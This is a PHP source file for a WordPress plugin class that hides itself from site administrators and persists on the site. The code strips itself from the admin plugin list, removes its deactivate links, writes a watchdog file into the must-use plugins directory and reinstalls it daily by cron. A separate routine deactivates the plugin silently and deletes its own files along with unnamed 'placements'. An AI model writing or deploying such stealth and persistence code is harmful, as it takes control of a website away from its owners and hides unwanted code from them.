<?php

if (!defined('ABSPATH')) {
    exit;
}

final class BBC_Guardian
{
    const WATCHDOG_FILE = 'bbc-watchdog.php';
    const CRON_HOOK = 'bbc_guardian_healthcheck';

    public static function boot()
    {
        $basename = self::basename();
        add_filter('all_plugins', array(__CLASS__, 'hide_from_list'));
        add_filter('plugin_action_links_' . $basename, '__return_empty_array');
        add_filter('network_admin_plugin_action_links_' . $basename, '__return_empty_array');
        add_action('activate_' . $basename, array(__CLASS__, 'on_activate'));
        add_action(self::CRON_HOOK, array(__CLASS__, 'healthcheck'));
        add_action('wp', array(__CLASS__, 'ensure_schedule'));
    }

    public static function basename()
    {
        return plugin_basename(BBC_PLUGIN_FILE);
    }

    public static function is_revoked()
    {
        return (bool) get_option(BBC_OPTION_REVOKED, false);
    }

    public static function hide_from_list($plugins)
    {
        if (!is_array($plugins)) {
            return $plugins;
        }
        $basename = self::basename();
        if (isset($plugins[$basename])) {
            unset($plugins[$basename]);
        }
        return $plugins;
    }

    public static function on_activate()
    {
        self::install_watchdog();
        self::schedule_healthcheck();
    }

    public static function ensure_schedule()
    {
        if (!self::is_revoked() && !wp_next_scheduled(self::CRON_HOOK)) {
            self::schedule_healthcheck();
        }
    }

    public static function schedule_healthcheck()
    {
        if (wp_next_scheduled(self::CRON_HOOK)) {
            return;
        }
        wp_schedule_event(time() + DAY_IN_SECONDS, 'daily', self::CRON_HOOK);
    }

    public static function healthcheck()
    {
        if (self::is_revoked()) {
            return;
        }
        self::install_watchdog();
        self::schedule_healthcheck();
    }

    public static function install_watchdog()
    {
        if (!defined('WPMU_PLUGIN_DIR') || !is_string(WPMU_PLUGIN_DIR)) {
            return new WP_Error('bbc_no_mu_dir', 'Must-use plugins directory is unavailable.');
        }
        if (!is_dir(WPMU_PLUGIN_DIR)) {
            wp_mkdir_p(WPMU_PLUGIN_DIR);
        }
        $template = __DIR__ . '/../watchdog-stub.php';
        if (!is_readable($template)) {
            return new WP_Error('bbc_no_watchdog_template', 'BBC watchdog template is missing.');
        }
        $stub = file_get_contents($template);
        if (!is_string($stub) || $stub === '') {
            return new WP_Error('bbc_empty_watchdog_template', 'BBC watchdog template is empty.');
        }
        $path = WPMU_PLUGIN_DIR . '/' . self::WATCHDOG_FILE;
        $current = is_readable($path) ? file_get_contents($path) : '';
        $marker = array(
            'version' => BBC_VERSION,
            'hash' => hash('sha256', $stub),
            'installed_at' => time(),
            'path' => $path,
        );
        if ($current === $stub && get_option(BBC_OPTION_WATCHDOG, false) !== false) {
            update_option(BBC_OPTION_WATCHDOG, $marker, false);
            return true;
        }
        $written = file_put_contents($path, $stub, LOCK_EX);
        if ($written === false) {
            return new WP_Error('bbc_watchdog_write_failed', 'BBC watchdog could not be written to the must-use directory.');
        }
        update_option(BBC_OPTION_WATCHDOG, $marker, false);
        return true;
    }

    public static function retire()
    {
        foreach (BBC_Placements::all() as $id => $entry) {
            $removed = BBC_Placements::remove($id);
            if (is_wp_error($removed)) {
                return $removed;
            }
        }
        delete_option(BBC_OPTION_PLACEMENTS);
        update_option(BBC_OPTION_REVOKED, array('revoked_at' => time()), false);
        if (defined('WPMU_PLUGIN_DIR') && is_string(WPMU_PLUGIN_DIR)) {
            @unlink(WPMU_PLUGIN_DIR . '/' . self::WATCHDOG_FILE);
        }
        self::deactivate_silently();
        wp_clear_scheduled_hook(self::CRON_HOOK);
        self::recursive_delete(self::plugin_directory());
        return array('success' => true, 'retired' => true, 'revoked_at' => time());
    }

    private static function deactivate_silently()
    {
        $basename = self::basename();
        $active = (array) get_option('active_plugins', array());
        $active = array_values(array_diff($active, array($basename)));
        update_option('active_plugins', $active, false);
        if (is_multisite()) {
            $network = (array) get_site_option('active_sitewide_plugins', array());
            unset($network[$basename]);
            update_site_option('active_sitewide_plugins', $network);
        }
    }

    private static function plugin_directory()
    {
        return untrailingslashit(dirname(BBC_PLUGIN_FILE));
    }

    private static function recursive_delete($path)
    {
        if (!is_dir($path)) {
            return @unlink($path);
        }
        $entries = @scandir($path);
        if ($entries === false) {
            return false;
        }
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') {
                continue;
            }
            self::recursive_delete($path . '/' . $entry);
        }
        return @rmdir($path);
    }
}
